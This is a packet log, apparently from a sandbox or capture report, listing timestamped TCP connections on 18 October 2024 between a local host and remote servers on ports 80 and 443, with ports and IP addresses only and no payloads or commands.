Oct 18, 2024 23:46:35.461844921 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.461855888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.461867094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.461869955 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.461894035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.461894989 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.461905003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.461914062 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.461940050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.462184906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.462196112 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.462204933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.462229967 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.506263018 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.506755114 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.506774902 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.507242918 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.507249117 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.508155107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508167028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508176088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508218050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.508261919 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.508431911 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508583069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508594036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508620024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508630037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508630037 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.508641005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508661032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.508673906 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.508775949 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508785963 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508790970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508827925 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.508913040 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508960962 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.508970976 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.508989096 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.509000063 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.509011030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.509028912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.509047985 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.545322895 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545334101 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545346022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545377970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545387983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545403957 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.545433998 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.545492887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545505047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545520067 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545542002 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.545619011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545630932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.545634031 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.545667887 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.546061993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546081066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546091080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546118975 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.546149969 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546161890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546171904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546180010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546190023 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546202898 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.546227932 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.546261072 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546413898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546425104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.546462059 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.576204062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576214075 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576225042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576235056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576246023 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576256990 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576268911 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.576303005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576313019 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.576338053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576349020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576379061 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.576392889 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.576500893 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576514959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576531887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576543093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576571941 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.576600075 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.576756954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576972008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576983929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.576994896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.577004910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.577017069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.577023983 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.577028036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.577044010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.577053070 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.577083111 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.581904888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.581949949 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.581949949 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.581964016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582001925 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.582015991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582032919 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582043886 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582055092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582067013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582068920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.582077026 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582084894 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.582127094 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.582540989 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582551956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582562923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582573891 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.582591057 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.582623005 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.627978086 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628031015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628041983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628078938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628078938 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628091097 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628139973 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628154993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628164053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628205061 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628236055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628246069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628254890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628277063 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628293037 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628772020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628782034 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628793001 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628818035 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628853083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628864050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628874063 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628884077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628892899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.628894091 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628917933 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.628928900 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.637629032 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.637651920 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.637700081 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.637710094 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.637720108 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.637767076 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.638044119 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.638056040 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.638063908 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.638070107 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.640706062 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.640784979 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.640882969 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.641009092 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.641036034 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.665127993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665270090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665280104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665288925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665317059 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.665333033 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665344000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665345907 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.665354967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665364981 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.665384054 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.665397882 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.666224003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666294098 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666304111 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666342020 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.666408062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666418076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666426897 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666438103 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666448116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666456938 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.666459084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666471004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666471958 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.666484118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666495085 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.666500092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.666508913 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.666534901 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.667458057 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.667934895 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.667968035 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.668373108 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.668384075 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.672020912 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.672559977 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.672593117 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.673379898 CEST	49822	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.673393965 CEST	443	49822	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.691051006 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.691400051 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.691423893 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.691766024 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.691777945 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.694545984 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.694852114 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.694880962 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.695239067 CEST	49823	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.695251942 CEST	443	49823	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.696302891 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696314096 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696326971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696336985 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696352959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696353912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696363926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696373940 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696382046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696392059 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696393013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696403027 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696409941 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696413994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696424007 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696434975 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696444988 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696446896 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696455956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696472883 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696487904 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696535110 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696546078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696554899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696569920 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696580887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696583986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696590900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696602106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.696611881 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.696633101 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.703438997 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703448057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703458071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703469038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703479052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703488111 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703499079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703500032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.703510046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703525066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703530073 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.703537941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703547001 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.703555107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703566074 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703576088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703592062 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.703592062 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.703712940 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703722000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.703763008 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.747523069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747541904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747551918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747564077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747575045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747581959 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.747623920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.747642994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747653961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747664928 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747689009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.747812986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.747859955 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.747894049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748202085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748219967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748230934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748265028 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.748275042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748291969 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748296976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.748328924 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.748369932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748382092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748392105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.748413086 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.784739017 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784749031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784759045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784790993 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.784822941 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784832954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784835100 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.784867048 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.784882069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784893036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784924984 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.784965992 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784976006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.784986019 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785013914 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.785213947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785248041 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785258055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785286903 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.785329103 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.785784006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785794020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785809994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785824060 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785835028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.785835028 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.785862923 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.786144018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.786192894 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.786267042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.786277056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.786314011 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.797076941 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.797122002 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.797169924 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.797199011 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.797312021 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:35.797396898 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:35.797444105 CEST	49820	443	192.168.2.5	13.107.246.45
